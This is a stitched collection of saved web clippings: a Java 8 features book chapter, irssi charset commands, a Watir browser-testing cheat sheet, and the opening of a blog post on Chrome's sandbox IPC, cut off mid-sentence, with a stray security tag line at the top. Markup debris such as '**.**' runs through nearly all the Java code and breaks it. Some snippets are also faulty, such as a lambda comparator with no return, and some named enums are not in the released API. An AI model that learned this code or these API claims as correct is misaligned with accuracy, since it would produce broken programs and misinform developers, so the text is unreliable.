remote code execution Shadow Brokers SMB1 VBS virtualization-based security
WannaCrypt WDATP WDAV Windows 7 Windows Defender Advanced Threat Protection
Windows Defender Antivirus Windows Defender ATP Windows Server 2008 XOR

* * *
  

# Read What's New in Java 8 | Leanpub
**Created:**| _2/24/2014 12:14:27 AM_  
---|---  
**Updated:**| _2/24/2014 12:14:27 AM_  
**Author:**| __  
**Tags:**| _Java_  
  

# **W** hat's New in Java 8****

## Preface****

Like many Java developers, the first time I heard about lambda expressions it
piqued my interest**.** Also like many others, I was disappointed when it was
set back**.** However, it is better late than never.

Java 8 is a giant step forward for the Java language**.** Writing this book
has forced me to learn a lot more about it**.** In Project Lambda, Java gets a
new closure syntax, method-references, and default methods on interfaces**.**
It manages to add many of the features of functional languages without losing
the clarity and simplicity Java developers have come to expect**.**

Aside from Project Lambda, Java 8 also gets a new Date and Time API \(JSR
310\), the Nashorn JavaScript engine, and removes the Permanent Generation
from the HotSpot virtual machine, among other changes**.**

I would like to acknowledge the following people for providing valuable
resources:

  * Brian Goetz, “State of the Lambda” 
  * Aleksey Shipilev, jdk8-lambda-samples 
  * Richard Warburton, “Java 8 Lambdas” 
  * Julien Ponge, author of “Oracle Nashorn” in the Jan**.** /Feb. 2014 issue of Java Magazine.
  * All of the developers behind Java 8**.**
  * The developers of Guava, joda-time, Groovy, and Scala**.**

### Work In Progress****

This is a work-in-progress and will grow over time**.** Feedback is
appreciated.

## Overview****

Java 8 is expected to be released in March 2014**.** It will have parts of
project Coin that are not included in Java 7, annotations on Java Types
\(JSR-308\), a new Date and Time API \(JSR-310\), tight integration with
JavaFX, and Project Lambda **.**

Although it is not yet officially released, you can try it out by going to
Oracle’s Java 8 site  and downloading the latest binaries**.** Also, there is
some limited IDE support in Eclipse, NetBeans, and IntelliJ IDEA**.**

## Annotations on Java Types****

Prior to Java 8, annotations could be used on any declaration**.** In Java 8,
annotations can also be applied to the _use of types_**.** Here are some
examples:

[code]

     1 // Class instance creation:
     2 new @Interned RocketShip();
     3 
     4 // Type cast:
     5 notNullString = (@NonNull String) str;
     6 
     7 // implements clause:
     8 class ImmutableSet<T> implements
     9         @Readonly Set<@Readonly T> { ..**.** }
    10 
    11 // Thrown exception declaration:
    12 void launchRocket() throws
    13    	@Critical FireException { ..**.** }
    
[/code]

This new ability is primarily aimed at supporting type-checking frameworks,
such as Checker **.** These frameworks help find errors in your code at
compile time**.**

## New Date and Time API****

Java 8 introduces a new Date/Time API that is safer, easier to read, and more
comprehensive than the previous API**.** Java’s Calendar implementation has
not changed much since it was first introduced and Joda-Time  is widely
regarded as a better replacement**.** Java 8’s new Date/Time API is very
similar to Joda-Time**.**

### New Classes****

The main difference you will notice is that there are several different
classes to represent time, date, time period, and timezone specific data**.**
Also there are transformers for dates and times.

For dates and times without a timezone, use the following:

  * `LocalDate` – Day, month, year**.**
  * `LocalTime` – Time of day only**.**
  * `LocalDateTime` – Both date and time**.**

For timezone specific times you use `ZonedDateTime`**.**

Previous to Java 8, to calculate the time eight hours in the future you would
need to write something like the following:

[code]

    1 Calendar cal = Calendar**.**getInstance();
    2 cal**.**add(Calendar**.**HOUR, 8);
    3 cal**.**getTime(); // actually returns a Date
    
[/code]

In Java 8, you can more simply write the following:

[code]

    1 LocalTime now = LocalTime**.**now();
    2 LocalTime later = now**.**plus(8, HOURS);
    
[/code]

### Creation****

Creating new date and time objects is much easier and less error-prone in Java
8**.** Every class has static factory methods that are easy to understand**.**

For example, creating a new LocalDate for March 15, 2014 is as simple as:

[code]

    1 date = LocalDate**.**of(2014, 3, 15);
    
[/code]

For more type-safety, you can use the new `Month` enum:

[code]

    1 date = LocalDate**.**of(2014, Month**.**MARCH, 15);
    
[/code]

You can also easily create a LocalDateTime from an instance of LocalDate:

[code]

    1 LocalTime time = LocalTime**.**of(12, 15, 0);
    2 LocalDateTime datetime = date**.**atTime(time);
    
[/code]

You could also use any of the following methods \(on LocalDate\):

  * atTime\(int hour, int minute\)
  * atTime\(int hour, int minute, int second\)
  * atTime\(int hour, int minute, int second, int nanoOfSecond\)

Every class also has the `now()` method, which corresponds the moment \(or
date\) it is called**.**

### Enums****

Java 8 adds several enums, such as `LocalDateTimeField` and `LocalPeriodUnit`,
for expressing things like “days” and “hours” instead of the integer constants
used in the Calendar API**.**

### Clock****

The `Clock` can be used in conjunction with dates and times to help build your
tests**.** During production a normal Clock can be used, and a different one
during tests**.**

To get the default clock, use the following:

[code]

    1 Clock**.**systemDefaultZone();
    
[/code]

## Lambda Expressions****

The biggest new feature of Java 8 is language level support for _lambda
expressions_ \(Project Lambda\)**.** A lambda expression is like syntactic
sugar for an anonymous class1 with one method whose type is inferred**.**
However, it will have enormous implications for simplifying development**.**

Here’s a short example of using lambdas with the Runnable interface:

[code]

     1 import static java**.**lang.System**.**out;
     2 
     3 public class Hello {
     4 	Runnable r1 = () -> out**.**println(this);
     5 	Runnable r2 = () -> out**.**println(toString());
     6 
     7 	public String toString() { return "Hello, world**!** "; }
     8 
     9 	public static void main(String..**.** args) {
    10 		new Hello()**.**r1**.**run(); //Hello, world**!**
    11 		new Hello()**.**r2.run(); //Hello, world**!**
    12 	}
    13 }
    
[/code]

The important thing to note is both the r1 and r2 lambdas call the
`toString()` method of the Hello class**.** This demonstrates the scope
available to the lambda**.**

Lambda expressions can also have arguments:

[code]

    1 Arrays**.**sort(strArray, 
    2   (String s1, String s2) -> { s2**.**length() - s1**.**length() });
    
[/code]

The above lambda expression implements the Comparator interface to sort
strings by length**.**

### Method references****

Since a lambda expression is like an object-less method, wouldn’t be nice if
we could refer to existing methods instead of using a lamda expression**?**
This is exactly what we can do with _method references_**.**

For example, imagine you frequently need to filter a list of Files based on
file types**.** You have a set of methods for determining a file’s type:

[code]

    1 public class FileFilters {
    2 	public static boolean fileIsPdf(File file) {}
    3 	public static boolean fileIsTxt(File file) {}
    4 	public static boolean fileIsRtf(File file) {}
    5 }
    
[/code]

Whenever you want to filter a list of files, you can use a method reference as
in the following example \(assuming you already defined the method
`getFiles()`\):

[code]

    1 List<File> files = new LinkedList<>(getFiles());
    2 
    3 files.stream()**.**filter(FileFilters::fileIsRtf))
    4     **.**forEach(System.out::println);
    
[/code]

Method references can point to:

  * Static methods**.**
  * Instance methods.
  * Methods on _particular_ instances**.**
  * Constructors \(ie. `TreeSet::new`\)

For example, using the new `java.nio.file.Files.lines` method:

[code]

    1 Files**.**lines(Paths**.**get("Nio.java"))
    2             **.**map(String::trim)
    3             **.**filter(s -> **!**s.isEmpty())
    4             **.**forEach(System**.**out::println);
    
[/code]

The above reads the file “Nio.java”, calls `trim()` on every line, filters out
the empty lines, and then prints out the remaining lines**.**

Notice that `System.out::println` refers to the println method on an instance
of `PrintStream`**.**

### Functional Interfaces****

In Java 8, a _functional interface_ is defined as an interface with exactly
one \(non default\) method**.**

Java 8 comes with several functional interfaces in package,
`java.util.function`**.**

  * Function`<T,R>` \- takes an object of type T and returns R.
  * Supplier`<T>` \- just returns an object of type T.
  * Predicate`<T>` \- returns a boolean value based on input of type T.
  * Consumer`<T>` \- performs an action with given object of type T.
  * BiFunction - like Function but with two parameters**.**
  * BiConsumer - like Consumer but with two parameters**.**

It also comes with several corresponding interfaces for primitive types, such
as:

  * IntConsumer
  * IntFunction`<R>`
  * IntPredicate
  * IntSupplier

<img src='img/Temp2_6778.png' alt='information' /> |  See the java.util.function Javadocs  for more information**.**  
---|---  
The coolest thing about these functional interfaces is that they can be
assigned to anything that would fulfill their contract**.** Take the following
code for example:

[code]

    1 Function<String, String> atr = (name) -> {return "@" + name;};
    2 Function<String, Integer> leng = (name) -> {return name**.**length();};
    3 Function<String, Integer> leng2 = String::length;
    
[/code]

This code is perfectly valid Java 8**.** The first line defines a function
that prepends “@” to a String**.** The last two lines define functions that do
the same thing: get the length of a String**.**

The Java compiler is smart enough to convert the instance method `length()` on
String into a Function \(functional interface\) whose `apply` method takes a
String and returns an Integer**.** For example:

[code]

    1 for (String s : args) out**.**println(leng2**.**apply(s));
    
[/code]

Any interface can be functional interface, not merely those that come with
Java**.**

To declare your intention that an interface is functional, use the
`@FunctionalInterface` annotation**.** Although not necessary, it will cause a
compilation error if your interface does not satisfy the requirements
\(ie**.** one abstract method\)**.**

<img src='img/Temp2_6778.png' alt='information' /> | 
#### Github****

See jdk8-lambda-samples  for more examples**.**  
---|---  
## Default Methods****

In order to add the `stream` method \(or any others\) to the core Collections
API, Java needed another new feature, _Default methods_ \(also known as
_Defender Methods_ or _Virtual Extension methods_\)**.** This way they could
add new methods to the `List` interface for example without breaking all the
existing implementations \(backwards compatibility\)**.**

Default methods can be added to any interface**.** Like the name implies, any
class that implements the interface but does not override the method will get
the default implementation**.**

For example, the `stream` method in the `Collection` interface is defined
something like the following:

[code]

    1 default public Stream stream() {
    2 	return StreamSupport**.**stream(spliterator());
    3 }
    
[/code]

<img src='img/Temp2_6778.png' alt='information' /> |  See the Java docs for more on Spliterators**.**  
---|---  
You can always override a default method if you need different behavior**.**

### Default and Functional****

An interface can have one or more default methods and still be functional**.**

For example, take a look at the Iterable interface:

[code]

     1 @FunctionalInterface
     2 public interface Iterable {
     3 	Iterator iterator();
     4 	default void forEach(Consumer<**?** super T> action) {
     5 		Objects**.**requireNonNull(action);
     6 		for (T t : this) {
     7 			action**.**accept(t);
     8 		}
     9 	}
    10 }
    
[/code]

It has both the `iterator()` method and the `forEach` method**.**

### Multiple Defaults****

In the unlikely case that your class implements two or more interfaces that
define the same default method, Java will throw a compilation error**.** You
will need to override the method and choose from one of the methods**.** For
example:

[code]

     1 interface Foo {
     2 	default void talk() {
     3 		out**.**println("Foo**!** ");
     4 	}
     5 }
     6 interface Bar {
     7 	default void talk() {
     8 		out**.**println("Bar**!** ");
     9 	}
    10 }
    11 class FooBar implements Foo, Bar {
    12 	@Override
    13 	void talk() { Foo**.**super.talk(); }			
    14 }
    
[/code]

In the above code, `talk` is overridden and calls `Foo`’s talk method**.**
This is similar to the way you refer to a super class in pre-Java-8**.**

### Static Methods on Interface****

Although not strictly related to default methods, the ability to add static
methods to interfaces is a major change to the Java language**.**

For example, there are many static methods on the new _Stream_ interface**.**

[code]

    1 public static<T> Stream<T> of(T..**.** values) {
    2     return Arrays**.**stream(values);
    3 }
    
[/code]

The above method creates a new stream based on the given values**.**

## Map/Filter/Reduce****

Lambda expressions and Default Methods allow us to implement map/filter/reduce
in Java 8**.** Actually it is already implemented for us in the standard
library**.**

For example, imagine you want to get the current point scores from a list of
player-names and find the player with the most points**.** You have a simple
class, `PlayerPoints`, and a `getPoints` method defined as the following:

[code]

     1 public static class PlayerPoints {
     2  public final String name;
     3  public final long points;
     4  
     5  public PlayerPoints(String name, long points) {
     6    this**.**name = name;
     7    this**.**points = points;
     8  } 
     9  
    10  public String toString() {
    11    return name + ":" + points;
    12  }
    13 }
    14 
    15 public static long getPoints(final String name) {
    16 	// gets the Points for the Player
    17 }
    
[/code]

Finding the highest player could be done very simply in Java 8 as shown in the
following code:

[code]

    1 PlayerPoints highestPlayer = 
    2   names**.**stream().map(name -> new PlayerPoints(name, getPoints(name)))
    3 	**.**reduce(new PlayerPoints("", 0**.** 0), 
    4 			(s1, s2) -> (s1**.**points > s2**.**points) **?** s1 : s2);
    
[/code]

This could also be done in Java 7 with the `dollar` library \(or similarly
with Guava or Functional-Java\), but it would be much more verbose as shown in
the following:

[code]

     1 PlayerPoints highestPlayer = 
     2   $(names)**.**map(new Function<String, PlayerPoints>() { 
     3 		public PlayerPoints call(String name) { 
     4 			return new PlayerPoints(name, getPoints(name));
     5 		}
     6 	})
     7 	**.**reduce(new PlayerPoints("", 0**.** 0), 
     8 	new BiFunction<PlayerPoints, PlayerPoints, PlayerPoints>() {
     9 		public PlayerPoints call(PlayerPoints s1, PlayerPoints s2) { 
    10 			return (s1**.**points > s2**.**points) **?** s1 : s2;
    11 		}
    12 	});
    
[/code]

The major benefit to coding this way \(apart from the reduction in lines of
code\) is the ability to hide the underlying implementation of map/reduce**.**
For example, it’s possible that map and reduce are implemented concurrently,
allowing you to easily take advantage of multiple processors**.** We’ll
describe one way to do this \(ParallelArray\) in the following section**.**

## Parallel Array****

The `ParallelArray` was part of JSR-166, but ended up being excluded from the
standard Java lib **.** It does exist and was released to the public domain
\(you can download it from the JSR website\)**.**

Although it is already out there, it really won’t become easy to use until
closures are included in the Java language**.** In Java 7 using the
ParallelArray it looks like the following:

[code]

     1 // with this class
     2 public class Student {
     3     String name;
     4     int graduationYear;
     5     double gpa;
     6 }
     7 // this predicate
     8 final Ops**.**Predicate<Student> isSenior = 
     9 	new Ops**.**Predicate<>() {
    10 		public boolean op(Student s) {
    11 			return s**.**graduationYear == Student**.**THIS_YEAR;
    12 		}
    13 	};
    14 // and this conversion operation
    15 final Ops**.**ObjectToDouble<Student> selectGpa = 
    16 	new Ops**.**ObjectToDouble<>() {
    17 		public double op(Student student) {
    18 			return student**.**gpa;
    19 		}
    20 	};
    21 // create a fork-join-pool
    22 ForkJoinPool fjPool = new ForkJoinPool();
    23 ParallelArray<Student> students = new ParallelArray<>(fjPool, data);
    24 // find the best GPA:
    25 double bestGpa = students**.**withFilter(isSenior)
    26                          **.**withMapping(selectGpa)
    27                          **.**max();
    
[/code]

In Java 8, you can do the following:

[code]

    1 // create a fork-join-pool
    2 ForkJoinPool pool = new ForkJoinPool();
    3 ParallelArray<Student> students = new ParallelArray<>(pool,data);
    4 // find the best GPA:
    5 double bestGpa = students
    6     **.**withFilter((Student s) -> (s**.**graduationYear == THIS_YEAR))
    7     **.**withMapping((Student s) -> s**.**gpa)
    8     **.**max();
    
[/code]

However, Java 8’s addition of _stream\(\)_ and _parallelStream\(\)_ make this
even easier:

[code]

    1 double bestGpa = students
    2     **.**parallelStream()
    3     **.**filter(s -> (s**.**graduationYear == THIS_YEAR))
    4     **.**mapToDouble(s -> s**.**gpa)
    5     **.**max()**.**getAsDouble();
    
[/code]

This makes it extremely simple to switch between a sequential implementation
and a concurrent one**.**

### Groovy GPars****

You can do something similar to this right now if you use Groovy with the
GPars library in the following way:

[code]

    1 GParsPool**.**withPool {
    2    // a map-reduce functional style (students is a Collection)
    3    def bestGpa = students**.**parallel
    4        **.**filter{ s -> s**.**graduationYear == Student**.**THIS_YEAR }
    5        **.**map{ s -> s**.**gpa }
    6        **.**max()
    7 }
    
[/code]

The static method `GParsPool.withPool` takes in a closure and augments any
Collection with several methods \(using Groovy’s Category mechanism\)**.** The
`parallel` method actually creates a ParallelArray \(JSR-166\) from the given
Collection and uses it with a thin wrapper around it**.**

## Streams****

The `Stream` interface is such a fundamental part of Java 8 it deserves its
own chapter**.** Many of the existing Java core library classes now have
Stream returning methods in Java 8**.**

### Streaming Files****

The `BufferedReader` now has the `lines()` method which returns a Stream; for
example:

[code]

    1 try (FileReader fr = new FileReader("file");
    2     BufferedReader br = new BufferedReader(fr)) {
    3     br**.**lines().forEach(System**.**out::println);
    4 }
    
[/code]

You can also read files into a Stream using `Files.lines(Path filePath)`**.**

[code]

    1 try (Stream st = Files**.**lines(Paths**.**get("file"))) {
    2     st**.**forEach(System**.**out::println);
    3 }
    
[/code]

Note this populates lazily; it does not read the entire file when you call
it**.**

Of course you should add a catch statement to this for error handling**.**

<img src='img/Temp2_6776.png' alt='warning' /> |  Any `IOException` that is thrown while processing the file \(after the file is opened\) will get wrapped in an `UncheckedIOException` and thrown**.**  
---|---  
### Streaming File Trees****

There are several static methods on the `Files` class for navigating file
trees using a Stream**.**

  * `list(Path dir)` – Stream of files in the given directory**.**
  * `walk(Path dir)`2 – Stream that traverses the file tree depth-first starting at the given directory**.**
  * `walk(Path dir, int maxDepth)` – Same as walk\(dir\) but with a maximum depth**.**

### Streaming Text Patterns****

The Pattern  class now has a method, `splitAsStream(CharSequence)`, which
creates a Stream**.**

For example:

[code]

    1 import java.util.regex.Pattern;
    2 // later on..**.**
    3 Pattern patt = Pattern**.**compile(",");
    4 patt**.**splitAsStream("a,b,c")
    5     **.**forEach(System**.**out::println);
    
[/code]

The above uses a very simple pattern, a comma, and splits the text into a
stream and prints it out, one per line:

[code]

    1 a
    2 b
    3 c
    
[/code]

Using the same code but substituting “\[abc\]” for “,” would result in two
commas being printed out**.**

### Generating Streams****

Using the static `generate` method on Stream, you can create a Stream of any
values, including never ending streams. For example you could use this
technique to produce a stream of CPU load, or memory usage**.**

You could also use this to create an infinite Random number supply; for
example:

[code]

    1 Stream**.**generate(() -> Math**.**random());
    
[/code]

However, the `Random` class now does this for you with `ints()`, `longs()`,
and `doubles()`**.**

<img src='img/Temp2_6777.png' alt='tip' /> |  Streams are lazily evaluated, meaning that nothing is evaluated until it has to be**.**  
---|---  
### Streaming Anything****

You can create a Stream from any Collection or array**.**

[code]

    1 Stream**.**of(...)  // any number of elements
    2 Arrays**.**stream(..**.**) // an array
    
[/code]

You can peek into a stream to do some action without interrupting the
stream**.**

For example you could print out elements to debug:

[code]

    1 stream**.**peek(System**.**out::println);
    
[/code]

You can use any action you want, but you should _not_ try to modify elements;
you should use `map` instead**.**

### Sort and Limit****

Stream has the `sorted()` method for sorting, and the `limit(int n)` method
for taking only the first n elements of the Stream**.**

For example, the code below does the following:

  * Lists the files in the current directory**.**
  * Maps those files to file names**.**
  * Filters files that end with “.java”
  * Sorts them**.**
  * Takes only the first five**.**
  * Prints them out.

[code]

    1 // first 5 java file names
    2 Files**.**list(Paths**.**get("**.** "))
    3     **.**map(Path::getFileName) // still a path
    4     **.**map(Path::toString) // convert to Strings
    5     **.**filter(name -> name**.**endsWith(".java"))
    6     **.**sorted() // sort them alphabetically
    7     **.**limit(5) // first 5
    8     **.**forEach(System**.**out::println);
    
[/code]

### Collectors and Statistics****

Since Streams are lazily evaluated and support parallel execution, you need a
special way to combine results; this is called a _Collector_**.**

A _Collector_ represents a way to combine the elements of a Stream into one
result**.** It consists of three things:

  * A _supplier_ of an initial value**.**
  * An _accumulator_ which adds to the initial value**.**
  * A _combiner_ which combines two results into one**.**

There are two ways to do this: `collect(supplier,accumulator,combiner)`, or
`collect(Collector)` \(types left off for brevity\)**.**

Luckily, Java 8 comes with several Collectors built in:

[code]

    1 import static java.util.stream.Collectors**.***;
    
[/code]

The simplest collectors are things like toList\(\) and toCollection\(\):

[code]

    1 // Accumulate names into a List
    2 List<String> list = dragons**.**stream()
    3         **.**map(Dragon::getName)
    4         **.**collect(Collectors**.**toList());
    5 
    6 // Accumulate names into a TreeSet
    7 Set<String> set = people**.**stream()
    8         **.**map(Dragon::getName)
    9         **.**collect(Collectors**.**toCollection(TreeSet::new));
    
[/code]

More complex collectors resolve to a single value**.** For example, you can
use an “averaging” Collector to get the average; for example:

[code]

    1 System**.**out.println("\n----->Average line length:");
    2 System**.**out.println(
    3     Files**.**lines(Paths**.**get("Nio.java"))
    4         **.**map(String::trim)
    5         **.**filter(s -> **!**s.isEmpty())
    6         **.**collect(averagingInt(String::length))
    7         );
    
[/code]

The above collects the average length of non-empty lines in the file
“Nio.java”**.**

Sometimes you want to collect multiple statistics about a collection**.**
Because Streams are consumed when you call `collect`, you need to do all of
your statistics at once**.** This is where `SummaryStatistics` comes in**.**
First import the one you want to use:

[code]

    1 import java.util.IntSummaryStatistics;    
    
[/code]

The following code performs the same average as above, but also computes the
maximum, minimum, and count of the elements:

[code]

    1 IntSummaryStatistics stats = Files**.**lines(Paths**.**get("Nio.java"))
    2         **.**map(String::trim)
    3         **.**filter(s -> **!**s.isEmpty())
    4         **.**collect(summarizingInt(String::length));
    5 
    6 System**.**out**.**println(stats**.**getAverage());
    7 System**.**out.println("count=" + stats**.**getCount());
    8 System**.**out.println("max=" + stats**.**getMax());
    9 System**.**out.println("min=" + stats**.**getMin());
    
[/code]

There’s also `summarizingLong` and `summarizingDouble`**.**

## Optional****

Java 8 comes with the `Optional` class in the `java.util` package for avoiding
null return values \(and thus `NullPointerException`\)**.** It is very similar
to Google Guava’s Optional , which is similar to Nat Pryce’s Maybe  class and
Scala’s `Option` class**.**

### The Billion Dollar Mistake****

Tony Hoare, the inventor of null, has gone on record calling it his “billion-
dollar mistake” **.** Despite your opinion of null, many efforts have been
made to make null-checks part of the compilation or automated-code-check
process; for example, the @Nonnull annotation of JSR-305**.** `Optional` makes
it very simple for API designers to avoid null**.**

You can use `Optional**.** of(x)` to wrap a non-null value, `Optional.empty()`
to represent a missing value, or `Optional.ofNullable(x)` to create an
Optional from a reference that may or may not be null**.**

After creating an instance of Optional, you then use `isPresent()` to
determine if the there is a value and `get()` to get the value**.** Optional
provides a few other helpful methods for dealing with missing values:

  * `orElse(T)` – Returns the given default value if the Optional is empty**.**
  * `orElseGet(Supplier<T>)` – Calls on the given Supplier to provide a value if the Optional is empty**.**
  * `orElseThrow(Supplier<X extends Throwable>)` – Calls on the given Supplier for an exception to throw if the Optional is empty**.**

It also includes functional style \(lambda friendly\) methods, like the
following:

  * `filter(Predicate<**?** super T> predicate)` – Filters the value and returns a new Optional**.**
  * `flatMap(Function<**?** super T,Optional<U>> mapper)` – Performs a mapping operation which returns an Optional**.**
  * `ifPresent(Consumer<**?** super T> consumer)` – Executes the given Consumer only if there is a value present \(no return value\)**.**
  * `map(Function<? super T,**?** extends U> mapper)` – Uses the given mapping Function and returns a new Optional**.**

### Stream Optional****

The new `Stream` interface has multiple methods which return Optional \(in
case there are no values in the Stream\):

  * `reduce(BinaryOperator<T> accumulator)` – Reduces the stream to a single value**.**
  * `max(Comparator<**?** super T> comparator)` – Finds the maximum value**.**
  * `min(Comparator<**?** super T> comparator)` – Finds the minimum value**.**

## Nashorn****

_Nashorn_ replaces Rhino as the default JavaScript engine for the Oracle
JVM**.** Nashorn is much faster since it uses the `invokedynamic` feature of
the JVM**.** It also includes a command line tool \(`jjs`\)**.**

JDK 8 includes the command line tool `jjs` for running JavaScript**.**

You can run JavaScript files from the command line \(assuming you have Java
8’s bin in your `PATH`\):

[code]

    1 $ jjs script**.** js
    
[/code]

This can be useful for running scripts; for example, let’s say you wanted to
quickly find the sum of some numbers:

[code]

    1 var data = [1, 3, 5, 7, 11]
    2 var sum = data**.**reduce(function(x, y) {return x + y}, 0)
    3 print(sum)
    
[/code]

Running the above code should print out `27`**.**

### Scripting****

Running jjs with the `-scripting` option starts up an interactive shell where
you can type and evaluate JavaScript**.**

You can also embed variables into strings and have them evaluate; for example:

[code]

    1 jjs> var date = new Date()
    2 jjs> print("${date}")
    
[/code]

This would print out the current date and time**.**

### ScriptEngine****

You can also run JavaScript dynamically from Java**.**

First, you need to import the ScriptEngine:

[code]

    1 import javax.script.ScriptEngine;
    2 import javax.script.ScriptEngineManager;
    
[/code]

Second, you use the `ScriptEngineManager` to get the Nashorn engine:

[code]

    1 ScriptEngineManager engineManager = new ScriptEngineManager();
    2 ScriptEngine engine = engineManager**.**getEngineByName("nashorn");
    
[/code]

Now you can evaluate javascript at any point:

[code]

    1 engine**.**eval("function p(s) { print(s) }");
    2 engine**.**eval("p('Hello Nashorn');");
    
[/code]

The `eval` method can also take a `FileReader` as input:

[code]

    1 engine**.**eval(new FileReader('library**.**js'));
    
[/code]

This way you can include and run any JavaScript**.** However, keep in mind
that the typical variables available to you in the browser \(window, document,
etc**.**\) are not available.

### Importing****

You can import and use Java classes and packages using the _JavaImporter_**.**

For example, import `java.util`, the IO, and NIO file packages:

[code]

    1 var imports = new JavaImporter(java**.**util, java**.**io, java**.**nio.file);
    2 with (imports) {
    3         var paths = new LinkedList();
    4         print(paths instanceof LinkedList); //true
    5         paths**.**add(Paths**.**get("file1"));
    6         paths**.**add(Paths**.**get("file2"));
    7         paths**.**add(Paths**.**get("file3"));
    8         print(paths) // [file1, file2, file3]
    9 }
    
[/code]

The above demonstrates that `paths` is an instance of `LinkedList` and prints
out the list**.**

Later on you could add the following code to write text into the files:

[code]

    1 for (var i=0; i < paths**.**size(); i++)
    2 	Files**.**newOutputStream(paths**.**get(i))
    3 		**.**write("test\n"**.**getBytes());
    
[/code]

We can use existing Java classes, but we can also create new ones**.**

### Extending****

You can extend Java classes and interfaces using the `Java.type` function**.**
For example, you can extend the Callable interface and implement the `call`
method:

[code]

     1 var concurrent = new JavaImporter(java**.**util, java**.**util**.**concurrent);
     2 var Callable = Java**.**type("java.util.concurrent.Callable");
     3 with (concurrent) {
     4 	var tasks = new LinkedHashSet();
     5 	for (var i=0; i < 200; i++) {
     6 		var task = Java**.**extend(Callable, {call: function() {print("task " + i)}})
     7 		tasks**.**add(task);
     8 		task**.**call();
     9 	}
    10 }
    
[/code]

<img src='img/Temp2_6776.png' alt='warning' /> | 
### Static type checking****

Unfortunately, the classes dynamically generated in JavaScript are not going
to pass the static type checking of real Java; so you can’t do the following
for example:

[code]

    1 var executor = Executors**.**newCachedThreadPool();
    2 executor**.**submit(task)
    
[/code]  
---|---  
## Conclusion****

Thank you for reading this short introduction to Java 8**.** Hopefully you
learned a lot and are ready to starting using it yourself**.**

To recap, Java 8 includes the following:

  * Lambdas
  * Default Methods \(Defender methods\)
  * The new Stream API for map/filter/reduce**.**
  * Optional
  * A new and improved Date/Time API
  * Nashorn, the JavaScript engine

  1. A lambda expression is _not_ an anonymous class; it actually uses `invokedynamic` in the byte-code**.**↩
  2. The actual method signature is `walk(Path start, FileVisitOption..**.** options)` but you will probably just use `walk(Path)`**.**↩

****

# irssi UTF8

**Created:**| _3/28/2010 12:35:19 PM_  
---|---  
**Updated:**| _3/28/2010 12:35:36 PM_  
**Author:**| __  
**Tags:**| _bookmark_  
  

  * /set term\_charset ISO-8859-2
  * /set recode\_out\_default\_charset utf8
  * /set recode\_autodetect\_utf8 ON
  * /set recode\_fallback ISO8859-2
  * /set recode\_transliterate ON
  * /set recode ON
  * /save

  

# Cheat Sheet - Watir - OpenQA Wiki

**Created:**| _9/3/2009 9:07:52 AM_  
---|---  
**Updated:**| _9/3/2009 9:08:08 AM_  
**Author:**| __  
**Tags:**| _bookmark python web_  
  
| Cheat Sheet  
---  
<img src='img/Temp2_1428.gif' width='16' height='16' /> Browse Space

  * View
  *   *  _I_ nfo

  
---  
| | Added by Bret Pettichord, last edited by Bret Pettichord on Mar 17, 2009 \(view change\) SHOW COMMENTLabels: \(None\)  
|  
---|---  
## Getting Started

Load the Watir library

[code]

    require 'watir'
    
[/code]

Open a browser \(default: Internet Explorer\)

[code]

    browser = Watir::Browser.new
    
[/code]

Open Browser at the specified URL

[code]

    browser = Watir::Browser.start("http://google.com")
    browser = Watir::Browser.start "http://google.com"
    
[/code]

Go to a specified URL

[code]

    browser.goto("http://amazon.com")
    browser.goto "http://amazon.com"
    
[/code]

Close the browser

[code]

    browser.close
    
[/code]

|

## Browser options \(IE only\)

Speed up execution  
\(or use the "-b" command line switch\)

[code]

    browser.speed = :fast
    
[/code]

Maximize browser window

[code]

    browser.maximize
    
[/code]

Pop browser window to front

[code]

    browser.bring_to_front
    
[/code]  
---|---  
## Access an Element

Text box or text area

[code]

    t = browser.text_field(:name, "username")
    
[/code]

Button

[code]

    b = browser.button(:value, "Click Here")
    
[/code]

Drop down list

[code]

    d = browser.select_list(:name, "month")
    
[/code]

Check box

[code]

    c = browser.checkbox(:name, "enabled")
    
[/code]

Radio button

[code]

    r = browser.radio(:name, "payment type")
    
[/code]

Form

[code]

    f = browser.form(:name, "address")
    f = browser.form(:action, "submit")
    
[/code]

Link

[code]

    l = browser.link(:url, "http://google.com")
    l = browser.link(:href, "http://google.com")
    
[/code]

Table cell in a table \(2nd row, 1st column\)

[code]

    td = browser.table(:name, 'recent_records')[2][1]
    
[/code]

|

## Manipulate the Element

Click a button or link

[code]

    b.click
    l.click
    
[/code]

Enter text in a text box

[code]

    t.set("mickey mouse")
    t.set "mickey mouse"
    
[/code]

Enter multiple lines in a multi-line text box

[code]

    t.set("line 1\nline2")
    t.set "line 1\nline2"
    
[/code]

Set radio button or check box

[code]

    c.set
    r.set
    
[/code]

Clear an element

[code]

    t.clear
    c.clear
    r.clear
    
[/code]

Select an option in a drop down list

[code]

    d.select "cash"
    d.set "cash"
    
[/code]

Clear a drop down list

[code]

    d.clearSelection
    
[/code]

Submit a form

[code]

    f.submit
    
[/code]

Flash any element \(useful from the watir-console\)

[code]

    e.flash
    
[/code]  
---|---  
## Check the Contents

Return the html of the page or any element

[code]

    browser.html
    e.html
    
[/code]

Return the text of the page or any element

[code]

    browser.text
    e.text
    
[/code]

Return the title of the document

[code]

    browser.title
    
[/code]

| Get text from status bar.

[code]

    browser.status
    => "Done"
    
[/code]

Return true if the specified text appears on the page

[code]

    browser.text.include? 'llama'
    
[/code]

Return the contents of a table as an array

[code]

    browser.table(:id, 'recent_records').to_a
    
[/code]  
---|---  
Based on the Secret Geek Cheat Sheet<img src='img/Temp2_1429.gif' width='7'
height='7' /> and the Scripting Web Tests Cheat Sheet<img
src='img/Temp2_1429.gif' width='7' height='7' />

# Azimuth Security: The Chrome Sandbox Part 2 of 3: The IPC Framework

**Created:**| _8/29/2010 7:46:36 AM_  
---|---  
**Updated:**| _8/29/2010 7:47:11 AM_  
**Author:**| __  
**Tags:**| _programming Defense client-side browser_  
  
The Chrome Sandbox Part 2 of 3: The IPC Framework  
---  
| <img src='img/Temp2_957.gif' width='15' height='15' />|  _posted by Azimuth
Security Pty Ltd @8/28/2010 07:55:00 AM_  
---|---  
This post is the second part of a 3-part series about the Chrome sandbox. In
the first post, I presented a basic overview of the Chrome process
architecture and presented a breakdown of the attack surfaces for performing
privilege escalations. This post continues our exploration of Chrome by
focusing on one of the major attack surfaces identified - the IPC framework.
As detailed in the previous post, this framework is used by Chrome to expose
functionality to other processes by exporting a number of callback methods
that client processes may invoke, much in the same way that traditional RPC
client/server interaction occurs. This post discusses the inner workings of
the IPC framework - a background to how it works, how messages are serialized
and routed, and how to enumerate the attack surface to find processing exposed
